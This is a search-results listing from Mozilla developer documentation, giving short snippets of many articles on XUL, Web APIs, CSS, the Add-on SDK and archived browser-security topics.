nss .chk files for the fips 140 mode nss technical note: 6 in nss 3.8, we added checksum files required for the nss softoken to operate in fips 140 mode.
... the new checksum file is called libsoftokn3.chk on unix/linux and softokn3.chk on windows.
...the libsoftokn3.chk/softokn3.chk file contains a checksum for the softoken.
...And 12 more matches
JS_EncodeCharacters
syntax jsbool js_encodecharacters(jscontext *cx, const jschar *src, size_t srclen, char *dst, size_t *dstlen); name type description cx jscontext * a context.
... src const jschar * the pointer to 16-bit values of jsstring.
... this can be obtained with js_getstringchars.
...And 12 more matches
nsITraceableChannel
netwerk/base/public/nsitraceablechannel.idlscriptable this interface is used to allow intercepting of http traffic.
... it is implemented by nsihttpchannel.
... 1.0 66 introduced gecko 1.9.0.4 inherits from: nsisupports last changed in gecko 1.9.0.4 the typical way to use this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; skip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g.
...And 12 more matches
Touch.radiusX - Web APIs
WebAPITouchradiusX
summary returns the x radius of the ellipse that most closely circumscribes the area of contact with the touch surface.
... the value is in css pixels of the same scale as touch.screenx.
... this value, in combination with touch.radiusy and touch.rotationangle constructs an ellipse that approximates the size and shape of the area of contact between the user and the screen.
...And 12 more matches
background-attachment - CSS: Cascading Style Sheets
the background-attachment css property sets whether a background image's position is fixed within the viewport, or scrolls with its containing block.
... syntax /* keyword values */ background-attachment: scroll; background-attachment: fixed; background-attachment: local; /* global values */ background-attachment: inherit; background-attachment: initial; background-attachment: unset; the background-attachment property is specified as one of the keyword values from the list below.
...even if an element has a scrolling mechanism, the background doesn't move with the element.
...And 12 more matches
X-DNS-Prefetch-Control - HTTP
the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth.
... this prefetching is performed in the background, so that the dns is likely to have been resolved by the time the referenced items are needed.
... header type response header forbidden header name no syntax x-dns-prefetch-control: on x-dns-prefetch-control: off directives on enables dns prefetching.
...And 12 more matches
String.fromCharCode() - JavaScript
the static string.fromcharcode() method returns a string created from the specified sequence of utf-16 code units.
... syntax string.fromcharcode(num1[, ...[, numn]]) parameters num1, ..., numn a sequence of numbers that are utf-16 code units.
...no validity checks are performed.
...And 12 more matches
Inline options - Archive of obsolete content
here is an example of an options.xul file: <?xml version="1.0"?> <!doctype mydialog system "chrome://myaddon/locale/mydialog.dtd"> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting type="bool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited to <setting> tags.
... setting types there are several types of <setting>s, each with a different type attribute: type attribute displayed as preference stored as bool checkbox boolean boolint checkbox integer (use the attributes on and off to specify what values to store) integer textbox integer string textbox string color colorpicker string (in the #123456 format) file browse button and label string directory browse button and label string menulist menulist dependent on the menu item values radio radio buttons depend...
...to set a description, either use the desc attribute, or a text node as a child of the <setting> tag.
...And 11 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
warning: this technology is obsolete.
... xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects.
... as you will see in this article, working with xpcom objects in java is not that much different than doing so in c++.
...And 11 more matches
Building Firefox with Rust code - Archive of obsolete content
adding rust code we generally target stable rust, but sometimes issues temporarily require a beta or custom toolchain build.
... our goal is to always ship a firefox release build with a stable rust toolchain release.
... if you don't have rust already, use the rustup tool to install it and update as new releases become available, or use the ./mach bootstrap command.
...And 11 more matches
Safely loading URIs - Archive of obsolete content
some other schemes are used internally by mozilla modules to communicate with each other.
...chrome: give the loaded page expanded privileges.
... if a web page gets access to a window with such expanded privileges, it may be able to abuse it to gain access to those privileges itself.
...And 11 more matches
Tuning Pageload - Archive of obsolete content
firefox (and all mozilla products/projects which do page-loading) ship with what are considered the "best" settings for the most cases.
... this document explains which preferences to tweak to affect your pageload time.
... you use the url about:config or the file prefs.js in your profile to change these.
...And 11 more matches
Using cross commit - Archive of obsolete content
cross-commit is a script that allows a single patch to be easily checked in on multiple branches.
... getting the script "make -f client.mk pull_all" from a working copy of the trunk now pulls cross-commit, and that'll work on the 1.8 branch soon, too, so you might already have the script.
... if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-commit note that you will need to have $cvsroot and such set up correctly for this to work.
...And 11 more matches
Multiple Rule Example - Archive of obsolete content
<vbox id="photoslist" align="start" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/date" ...
... <label value="?title"/> <image src="?photo"/> </vbox> <groupbox> <caption label="photo details"/> <label value="?description"/> <label value="date: ?date"/> </groupbox> </hbox> </action> </rule> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?phototitle"/> </conditions> <action> <vbox uri="?photo" class="box-padded"> <label value="?phototitle"/> <image src="?photo"/> </vbox> </action> </rule> </template> </vbox> in this example, the first ...
...rule matches only those photos with title, description, and date properties.
...And 11 more matches
Introduction to XBL - Archive of obsolete content
you can also create new skins by changing the styles.
... the basic appearance of all elements, such as scroll bars and check boxes may be modified by adjusting the style or by setting attributes on the element.
... however, xul provides no means in which you can change how an element works (or add a new element which can be reused).
...And 11 more matches
Using Visual Studio as your XUL IDE - Archive of obsolete content
using xml schemas for validation and intellisense visual studio needs the xml schema for xul files.
... there is a very nice schema created by mihailo lalevic.
... you can download it at xulschema.codeplex.com under the downloads tab.
...And 11 more matches
attribute.align - Archive of obsolete content
summary the align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children.
... for boxes that have horizontal orientation, it specifies how its children will be aligned vertically.
... for boxes that have vertical orientation, it is used to specify how its children are algined horizontally.
...And 11 more matches
prefpane - Archive of obsolete content
a prefpane is made up of two parts, the preferences descriptions, which specify the set of preferences that will be modified, and the user interface for adjusting those preferences.
...both may be specified directly as children of the prefpane element, or the src attribute may be used to put a pane in a separate file.
... attributes helpuri, image, label, onpaneload, selected, src properties image, label, preferenceelements, preferences, selected, src examples methods preferenceforelement <prefpane id="panegeneral" label="general" src="chrome://path/to/paneoverlay.xul"/> or <prefpane id="panegeneral" label="general" onpaneload="ongeneralpaneload(event);"> <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> ...
...And 11 more matches
rule - Archive of obsolete content
ArchiveMozillaXULrule
the children of the rule are used to declare the conditions in which the rule matches and the content that is generated.
...for each result that matches all of the conditions, content within the rule's action body is generated.
... attributes iscontainer, isempty, parent, parsetype examples (example needed) attributes iscontainer type: boolean indicates whether rules match based on containment.
...And 11 more matches
scale - Archive of obsolete content
ArchiveMozillaXULscale
the default value is horizontal which displays a horizontal scale.
...a scale will fire a change event whenever the scale's value is modified.
...rement, max, min, movetoclick, pageincrement, tabindex, value properties disabled, max, min, increment, pageincrement, tabindex, value, methods decrease, decreasepage, increase, increasepage, examples horizontal scale: <scale min="1" max="10"/> vertical scale: <scale min="1" max="10" orient="vertical"/> attributes dir type: one of the values below the direction in which the child elements of the element are placed.
...And 11 more matches
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.builds - october 21st to october 27th 2006 fx 1.5.0.x (linux) not building since 20-oct-2006 17:45 pdt october 22nd: gavin sharp answered a question that was posted by tony mechelynck.
... on the same day tony replied to gavin's posting stating the possible choices to solve the problem.
... these were the following choices stated: search the filesystem for unneeded files delete or archive them, add a hard disk, move all or part of the concerned filesystem there move that tinderbox to a different machine with more empty disk space on october 23rd: nick responded to gavin and tony's posting.
...And 11 more matches
NPAPI plugin reference - Archive of obsolete content
the articles below describe each of the apis related to npapi plugins.
... browser-side plug-in api this chapter describes methods in the plug-in api that are provided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth.
... npapi plug-in side api this chapter describes methods in the plug-in api that are available from the plug-in object; these allow plug-ins to interact with the browser.
...And 11 more matches
Vulnerabilities - Archive of obsolete content
there are many ways in which vulnerabilities can be categorized.
...an example is an input validation error, such as user-provided input not being properly evaluated for malicious character strings and overly long values associated with known attacks.
...a software feature misuse vulnerability is a vulnerability in which the feature also provides an avenue to compromise the security of a system.
...And 11 more matches
Browser Feature Detection - Archive of obsolete content
an experimental approach to discovering degree of support for standards.
...therefore, given that it's also badly out of date, it's been archived.
... browser sniffing via api name detection the following tables list the api names defined for specific w3c dom apis and lists the percentage of names that your browser actually defines followed by a list of each of the api names tested along with an indication of whether the name was defined for your browser.
...And 11 more matches
Writing JavaScript for XHTML - Archive of obsolete content
(note that xhtml documents which behave correctly in both application/xhtml+xml and text/html environments are sometimes known as 'polyglot' documents.) to test the following examples locally, use firefox's extension switch.
... problem: nothing works after switching the mime type suddenly no inline script works anymore.
...before processing the file, all comments will be stripped from the document, so enclosing your script in them is like throwing your lunch in a piranha pool.
...And 11 more matches
Creating MozSearch plugins
firefox 2 uses a simplified form of the opensearch format for storing search plugins.
... a mozsearch search plugin is an xml file that describes the search engine, its url, and the parameters that need to be passed to that url.
... warning: mozsearch is non-standard and is intended for internal use within mozilla projects only.
...And 11 more matches
Cached compose window FAQ
seth spitzer (sspitzer@mozilla.org) what is the "cached" compose window?
... instead of destroying the mail compose window on send (or close) just to create a new one the next time, mozilla mail will "cache" the compose window on send (or close), and use that instead.
... we decided it would be worth the trouble to cache the compose window.
...And 11 more matches
BluetoothRemoteGATTCharacteristic - Web APIs
the bluetoothremotegattcharacteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that provides further information about a peripheral’s service.
... interface interface bluetoothremotegattcharacteristic { readonly attribute bluetoothremotegattservice service; readonly attribute uuid uuid; readonly attribute bluetoothcharacteristicproperties properties; readonly attribute dataview?
... value; promise<bluetoothremotegattdescriptor> getdescriptor(bluetoothdescriptoruuid descriptor); promise<sequence<bluetoothremotegattdescriptor>> getdescriptors(optional bluetoothdescriptoruuid descriptor); promise<dataview> readvalue(); promise<void> writevalue(buffersource value); promise<void> startnotifications(); promise<void> stopnotifications(); }; bluetoothremotegattcharacteristic implements eventtarget; bluetoothremotegattcharacteristic implements characteristiceventhandlers; properties bluetoothremotegattcharacteristic.serviceread only returns the bluetoothgattservice this characteristic belongs to.
...And 11 more matches
Touch() - Web APIs
WebAPITouchTouch
the touch() constructor creates a new touch object.
... syntax touch = new touch(touchinit); arguments touchinit is a touchinit dictionary, having the following fields: "identifier", required, of type long, that is the identification number for the touch point.
... "target", required, of type eventtarget, the item at which the touch point started when it was first placed on the surface.
...And 11 more matches
@charset - CSS: Cascading Style Sheets
WebCSS@charset
the @charset css at-rule specifies the character encoding used in the style sheet.
... it must be the first element in the style sheet and not be preceded by any character; as it is not a nested statement, it cannot be used inside conditional group at-rules.
... if several @charset at-rules are defined, only the first one is used, and it cannot be used inside a style attribute on an html element or inside the <style> element where the character set of the html page is relevant.
...And 11 more matches
Promise.prototype.catch() - JavaScript
the catch() method returns a promise and deals with rejected cases only.
... it behaves the same as calling promise.prototype.then(undefined, onrejected) (in fact, calling obj.catch(onrejected) internally calls obj.then(undefined, onrejected)).
... this means that you have to provide an onrejected function even if you want to fall back to an undefined result value - for example obj.catch(() => {}).
...And 11 more matches
text-anchor - SVG: Scalable Vector Graphics
the text-anchor attribute is used to align (start-, middle- or end-alignment) a string of pre-formatted text or auto-wrapped text where the wrapping area is determined from the inline-size property relative to a given point.
...for multi-line text, the alignment takes place for each line.
... the text-anchor attribute is applied to each individual text chunk within a given <text> element.
...And 11 more matches
Testing the Add-on SDK - Archive of obsolete content
from add-on sdk repository with a checkout of the mozilla/addon-sdk repository (or a checkout of the m-c repo and cd into the addon-sdk/source directory) there are many means to run the addon-sdk tests.
... with cfx cfx tests use the deprecated sdk/loader/cuddlefish, which is being replaced by toolkit/loader.
... with cfx (which is part of the addon-sdk repo), we can run the first test suite which was produced for the add-on sdk.
...And 10 more matches
content/mod - Archive of obsolete content
globals constructors functions attachto(modification, window) function applies given modification to a given window.
... for example, the following code applies a style to a content window, adding a border to all divs in page: var attachto = require("sdk/content/mod").attachto; var style = require("sdk/stylesheet/style").style; var style = style({ source: "div { border: 4px solid gray }" }); // assuming window points to the content page we want to modify attachto(style, window); parameters modification : object the modification we want to apply to the target.
... detachfrom(modification, window) function removes attached modification from a given window.
...And 10 more matches
places/history - Archive of obsolete content
usage this module exports a single function, search(), which synchronously returns a placesemitter object which then asynchronously emits data and end or error events that contain information about the state of the operation.
... example let { search } = require("sdk/places/history"); // simple query search( { url: "https://developers.mozilla.org/*" }, { sort: "visitcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with 'javascript' in the url or title.
... // we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascript' { query: "javascript", from: lastweek }], // we want to order chronologically by visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing visit data, // sorted by visit date, with all entries from more than a week ago // that contain 'ruby', *in addition to* entries from this last week // that contain 'javascript' }); globals functions search(queries, options) queries can be performed on history entries by passing in one or more query options.
...And 10 more matches
test/utils - Archive of obsolete content
usage before and after helper functions before() and after() are available for running a function before or after each test in a suite.
... let { before, after } = require('sdk/test/utils'); let { search } = require('sdk/places/bookmarks'); exports.testcountbookmarks = function (assert, done) { search().on('end', function (results) { assert.equal(results, 0, 'should be no bookmarks'); done(); }); }; before(exports, function (name, assert) { removeallbookmarks(); }); require('sdk/test').run(exports); both before and after may be asynchronous.
... to make them asynchronous, pass a third argument done, which is a function to call when you have finished: let { before, after } = require('sdk/test/utils'); let { search } = require('sdk/places/bookmarks'); exports.testcountbookmarks = function (assert, done) { search().on('end', function (results) { assert.equal(results, 0, 'should be no bookmarks'); done(); }); }; before(exports, function (name, assert, done) { removeallbookmarksasync(function () { done(); }); }); require('sdk/test').run(exports); globals functions before(exports, beforefn) runs beforefn before each test in the file.
...And 10 more matches
Introduction - Archive of obsolete content
next » welcome to the xul school tutorial!
... xul school was created by appcoast (formerly glaxstar), one of the few companies dedicated to building high-quality firefox extensions.
...you'll learn how to quickly do the most common tasks in extension development, comparing several different approaches to solve them.
...And 10 more matches
Security best practices in extensions - Archive of obsolete content
this is written from the perspective of a firefox extension, but most items apply to extensions for other mozilla-based applications such as thunderbird or seamonkey.
...for example, if you load a chrome url, this means the content has been registered with firefox and has full access.
... content from a domain (such as http://www.example.com) can only access that same domain.
...And 10 more matches
Using Dependent Libraries In Extension Components - Archive of obsolete content
sample code is below, and can be built by placing the two files in extensions/stub and configuring with --enable-extensions=stub extension file structure using the stub slightly changes how components are packaged in the extension directory structure.
...(lib_suffix) \ $(xpcom_frozen_ldopts) \ $(nspr_libs) \ $(null) include $(topsrcdir)/config/rules.mk defines += -dmoz_dll_prefix=\"$(dll_prefix)\" extensions/stub/bdsstubloader.cpp // copyright (c) 2005 benjamin smedberg <benjamin@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static char const *const kdependentlibraries[] = { // dependent1.dll on windows, libdependent1.so on linux moz_dll_prefix "dependent1" moz_dll_suffix, moz_dll_prefix "dependent2" moz_dll_suffix, nsnull // note: if the dependent libs themselves depend on other libs, the subdependencies // should be listed first.
... }; // component.dll on windows, libcomponent.so on linux static char krealcomponent[] = moz_dll_prefix "component" moz_dll_suffix; nsresult nsgetmodule(nsicomponentmanager* acompmgr, nsifile* alocation, nsimodule* *aresult) { nsresult rv; // this is not the real component.
...And 10 more matches
Bookmark Keywords - Archive of obsolete content
searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks.
...for example, a keyworded bookmark could be set up so that a user could type <tt>google spam and eggs</tt> and thereby trigger a google search for the words "spam and eggs." because these tools require bookmarks with specific keywords in order to work, they will be referred to hereafter as keymarks, as distinct from regular bookmarks.
... changing the properties to alter the properties of the bookmark, highlight the bookmark and select the "properties..." button at the top of the bookmark manager.
...And 10 more matches
Supporting per-window private browsing - Archive of obsolete content
firefox 20 introduced per-window private browsing mode, in which private user data is stored and accessed concurrently with public user data from another window.
... } } catch(e) { // pre firefox 20 (if you do not have access to a doc.
... } } catch(e) { components.utils.reporterror(e); return; } } obtaining an nsiloadcontext for privacy-sensitive apis some apis (such as nsitransferable and nsiwebbrowserpersist) take nsiloadcontext arguments that are used to determine whether they should be classed as private or not (for example, whether the uri being persisted by saveuri should be added to the perm...
...And 10 more matches
DOM Interfaces - Archive of obsolete content
onymousnodes(in element elt); element getanonymouselementbyattribute(in element elt, in domstring attrname, in domstring attrvalue); element getbindingparent(in node node); void loadbindingdocument(in domstring documenturl); }; methods getanonymousnodes the getanonymousnodes method retrieves the anonymous children of the specified element.
... parameters elt - the element to retrieve anonymous children for.
... return value nodelist - the return value of getanonymousnodes is a nodelist that represents the children of an element after insertion points from its own binding have been applied.
...And 10 more matches
Introduction - Archive of obsolete content
next » a xul template is a means of producing a block of content for each result from some query or query-like operation.
...for each result returned from the query, generate some content.
...each template retrieves its data from a datasource.
...And 10 more matches
Simple Example - Archive of obsolete content
//www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by urls.
...each image also has one property, the image's title.
... a template which displays this information is very simple to create.
...And 10 more matches
colorpicker - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a palette of colors from which a user may select by clicking on one of the grid cells.
... attributes disabled, color, onchange, preference, tabindex, type properties accessibletype, color, disabled, open, tabindex, value examples <colorpicker/> attributes disabled type: boolean indicates whether the element is disabled or not.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...And 10 more matches
menu - Archive of obsolete content
ArchiveMozillaXULmenu
« xul reference home [ examples | attributes | properties | methods | related ] an element, much like a button, that is placed on a menubar.
... when the user clicks the menu element, the child menupopup of the menu will be displayed.
... accesskey type: character this should be set to a character that is used as a shortcut key.
...And 10 more matches
splitter - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element which should appear before or after an element inside a container.
...the vbox is used to hold the .png image that a user clicks on to resize the search bar.--> <splitter tooltiptext="resize the search box" oncommand="alert('the splitter was dragged')"> <vbox id="example_vbox" /> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked.
... resizeafter type: one of the values below this attribute indicates which element to the right or below the splitter should be resized when the splitter is repositioned.
...And 10 more matches
SSL and TLS - Archive of obsolete content
symmetric-key encryption is much faster than public-key encryption, but public-key encryption provides better authentication techniques.
... an ssl/tls session always begins with an exchange of messages called the ssl handshake, initial communication between the server and client.
... the handshake allows the server to authenticate itself to the client using public-key techniques, then allows the client and the server to cooperate in the creation of symmetric keys used for rapid encryption, decryption, and tamper detection during the session that follows.
...And 10 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
however when an xhtml page is served with mime type text/xml or application/xhtml+xml, then it should be treated as an xml document which must conform to the strict rules for authoring and displaying xml.
... proper xhtml is an application of xml and as such requires that authors follow strict rules when authoring xhtml.
... in particular: raw < and & characters are not allowed except inside of cdata sections (<![cdata[ ...
...And 10 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
summary: thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing problems for some web sites.
... this technote explains the source of the problems and how to avoid encountering them.
... hover and non-link elements section 5.11.3 of css2 defines the three dynamic pseudo-classes (:hover, :active, and :focus) and then goes on to say: css doesn't define which elements may be in the above states, or how the states are entered and left.
...And 10 more matches
nsIUpdatePatch
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing a patch file that can be downloaded and applied to a version of this application so that it can be updated.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsidomelement serialize(in nsidomdocument updates); attributes attribute type description finalurl astring the final url this patch was being downloaded from.
... hashfunction astring the hash function to use when determining the integrity of the patch file.
...And 10 more matches
Cache.delete() - Web APIs
WebAPICachedelete
the delete() method of the cache interface finds the cache entry whose key is the request, and if found, deletes the cache entry and returns a promise that resolves to true.
... if no cache entry is found, it resolves to false.
... syntax cache.delete(request, {options}).then(function(found) { // your cache entry has been deleted if found }); parameters request the request you are looking to delete.
...And 10 more matches
Cache.put() - Web APIs
WebAPICacheput
the put() method of the cache interface allows key/value pairs to be added to the current cache object.
... often, you will just want to fetch() one or more requests, then add the result straight to your cache.
... in such cases you are better off using cache.add()/cache.addall(), as they are shorthand functions for one or more of these operations.
...And 10 more matches
ChannelMergerNode - Web APIs
the channelmergernode interface, often used in conjunction with its opposite, channelsplitternode, reunites different mono inputs into a single output.
... each input is used to fill a channel of the output.
... this is useful for accessing each channels separately, e.g.
...And 10 more matches
ChannelSplitterNode - Web APIs
the channelsplitternode interface, often used in conjunction with its opposite, channelmergernode, separates the different channels of an audio source into a set of mono outputs.
... this is useful for accessing each channel separately, e.g.
... for performing channel mixing where gain must be separately controlled on each channel.
...And 10 more matches
EventTarget.dispatchEvent() - Web APIs
dispatches an event at the specified eventtarget, (synchronously) invoking the affected eventlisteners in the appropriate order.
... the normal event processing rules (including the capturing and optional bubbling phase) also apply to events dispatched manually with dispatchevent().
... syntax cancelled = !target.dispatchevent(event) parameter event is the event object to be dispatched.
...And 10 more matches
Node.appendChild() - Web APIs
WebAPINodeappendChild
the node.appendchild() method adds a node to the end of the list of children of a specified parent node.
... if the given child is a reference to an existing node in the document, appendchild() moves it from its current position to the new position (there is no requirement to remove the node from its parent node before appending it to some other node).
... if the given child is a documentfragment, the entire contents of the documentfragment are moved into the child list of the specified parent node.
...And 10 more matches
Mobile accessibility checklist - Accessibility
this document provides a concise checklist of accessibility requirements for mobile app developers.
... colour colour contrast must comply with wcag 2.1 aa level requirements: contrast ratio of 4.5:1 for normal text (less than 18 point or 14 point bold.) contrast ratio of 3:1 for large text (at least 18 point or 14 point bold.) information conveyed via colour must be also available by other means too (underlined text for links, etc.) visibility content hiding techniques such as zero opacity, z-index order and off-screen placement must not be used exclusively to handle visibility.
... focus all activatable elements must be focusable: standard controls such as links, buttons, and form fields are focusable by default.
...And 10 more matches
Touch events (Mozilla experimental) - Developer guides
warning: this experimental api was removed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15), when support for the standard touch events was implemented.
... the experimental touch events api described on this page was available from gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to gecko/firefox 17.
... you should instead use the standard touch events api, supported since gecko/firefox 6 with multi-touch support added in gecko/firefox 12.
...And 10 more matches
Web media technologies
today, there are a large number of apis available, as well as html elements, dom interfaces, and other features that make it possible to not only perform these tasks, but use media in tandem with other technologies to do truly remarkable things.
...<video> can also be used as a way to link media apis with other html and dom technologies, including <canvas> (for frame grabbing and manipulation), for example.
... media capture and streams api a reference for the api which makes it possible to stream, record, and manipulate media both locally and across a network.
...And 10 more matches
request - Archive of obsolete content
for more advanced usage, check out the net/xhr module, based on the browser's xmlhttprequest object.
...the constructor takes a single parameter options which is used to set several properties on the resulting request.
... parameters options : object optional options: name type url string,url this is the url to which the request will be made.
...And 9 more matches
Displaying annotations - Archive of obsolete content
in this chapter we'll use a page-mod to locate elements of web pages that have annotations associated with them, and a panel to display the annotations.
... matcher page-mod matcher content script the content script for the matcher page-mod is initialized with a list of all the annotations that the user has created.
... when a page is loaded the matcher searches the dom for elements that match annotations.
...And 9 more matches
Bookmarks - Archive of obsolete content
.getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder 0); // index in the folder firefox 3 firefox 3 provides a reworked set of api for working with history and bookmarks.
...specifying default_index as the index at which to insert the new folder places it at the end of the list.
... you can easily change this code to insert the new folder into the bookmarks toolbar by changing bookmarksmenufolder to another folder attribute.
...And 9 more matches
Using the Stylesheet Service - Archive of obsolete content
the stylesheet service allows extensions to manage user and ua stylesheets without having to touch usercontent.css or userchrome.css files.
... using the api the string "chrome://myext/content/myext.css" in the examples below is just an example.
... getting such styles wrong can easily lead to very incorrect behavior, including crashes.
...And 9 more matches
Structure of an installable bundle - Archive of obsolete content
basic structure of a bundle a bundle may include any of the following files: path from the root of the bundle description version information /install.rdf extension/theme install manifest /application.ini application launch manifest /bootstrap.js the bootstrap script for extensions not requiring a restart (those with <em:bootstrap>true</em:bootstrap> in their install.rdf).
...chrome.manifest, components, defaults) in bootstrapped extensions are not processed by a supporting application.
... (>=2.0) /chrome.manifest chrome registration manifest (>=1.8) /components/* xpcom components (*.js, *.dll), and interface files from *.xpt (>=1.7) /defaults/preferences/*.js default preferences (>=1.7) /plugins/* npapi plugins (>=1.8) /chrome/icons/default/* window icons (>=1.8) /icon.png extension icon, for display in the add-ons manager, 32px × 32px (>=1.9.2) /icon64.png extension icon, for display in the add-ons manager, 64px × 64px (>=2.0) /options.xul extension options, for display in the add-ons manager (>=7.0) ...
...And 9 more matches
Drag and Drop Example - Archive of obsolete content
first, we'll add the wrapper scripts: <script src="chrome://global/content/nsdraganddrop.js"/> <script src="chrome://global/content/nstransferable.js"/> <script src="dragboard.js"/> an additional script file dragboard.js is included which will contain the code we will write ourselves.
...it will contain three buttons, one to create new buttons, one to create check boxes and the other to create textboxes.
...<vbox> <button label="button" elem="button" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="check box" elem="checkbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="text box" elem="textbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> </vbox> the nsdraganddrop object will be called to do most of the work.
...And 9 more matches
Drag and Drop - Archive of obsolete content
the list below describes the event handlers that can be called, which may be placed on any element.
... ondraggesture called when the user starts dragging the element, which normally happens when the user holds down the mouse button and moves the mouse.
...this might be used to change the appearance of the element to indicate to the user that the object can be dropped on it.
...And 9 more matches
Editor Embedding Guide - Archive of obsolete content
session->makewindoweditable(domwindow, "html", pr_true); the valid editor types are: "text" (similar to notepad or a textarea; does not allow for html) "textmail" (similar to "text" but html can be inserted; intended for plaintext mail usage and handling of citations) "html" (this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (this is much like "html" except there are a few editing rules/behaviors that differ such as splitting of mail quotes) editor commands you need to call commands and receive updates in order to make any changes to the content on the browser.
...call a command -- docommand: commandmanager->docommand(acommand, acommandparams); acommand is a const char * to a supported command name (see list below).
... getcommandstate "state_attribute" (cstring) docommand "state_attribute" (cstring) "left", "right", "center", "justify" cmd_inserthtml cmd_insertlinknoui cmd_insertimagenoui cmd_inserthr cmd_charset sets the charset for the document.
...And 9 more matches
Downloading Nightly or Trunk Builds - Archive of obsolete content
this usage may change.
...so to figure out how to download a cutting edge or bleeding edge or 'beta' version of firefox, you need to look for a "build" (which is developer-speak for the packaged files you can download) of 1.9.1 (the number of the underlying 'platform' called 'gecko' or 'mozilla' that firefox uses).
...the three common cases are "trunk", meaning the most recent version of mozilla; "branch", meaning the version before trunk (though it can be any version before trunk); and "next", meaning a possible version in the future.
...And 9 more matches
Introducing the Audio API extension - Archive of obsolete content
this event has the following attributes: mozchannels: number of channels mozsamplerate: sample rate per second mozframebufferlength: number of samples collected in all channels this information is needed later to decode the audio data stream.
... the following example extracts the data from an audio element: <!doctype html> <html> <head> <title>javascript metadata example</title> </head> <body> <audio id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <script> function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> the mozaudioavailable event as the audio is played, sample data is made available to the audio layer and the audio buffer (size define...
...it's important to note that the samples are not separated by channels; they are all delivered together.
...And 9 more matches
Java in Firefox Extensions - Archive of obsolete content
note bug 834918 about click-to-play effect on java plugins in chrome and bug 775301.
... the following technique only works in javascript code linked from or contained in xul files.
... if you wish to call java code from within javascript code that implements some xpcom components, at this time, you need a different technique (refer to the complete java firefox extension).
...And 9 more matches
Running Tamarin performance tests - Archive of obsolete content
the tamarin performance tests can be used to measure performance changes made to tamarin.
...for example you may download or build the latest checked in avmshell to compare against a local change.
... $ cd tamarin-redux/test/performance $ python runtests.py executing tests at 2008-07-22 13:56:54.820920 avm: c:/dev/tamarin-tracing/bld/shell/avmshell.exe test avm sunspider/access-binary-trees.as 82.0 sunspider/access-fannkuch.as 152.0 sunspider/access-nbody.as 173.0 sunspider/access-nsieve.as 65.0 sunspider/bitops-3bit-bits-in-byte.as 13.0 sunspider/bitops-bits-in-byte.as 36.0 $ export avm2=c:/dev/tamarin-tracing2/bld/shell/avmshell.exe $ python ./runtests.py executing tests at 2008-07-22 14:03:51.957381...
...And 9 more matches
Install script template - Archive of obsolete content
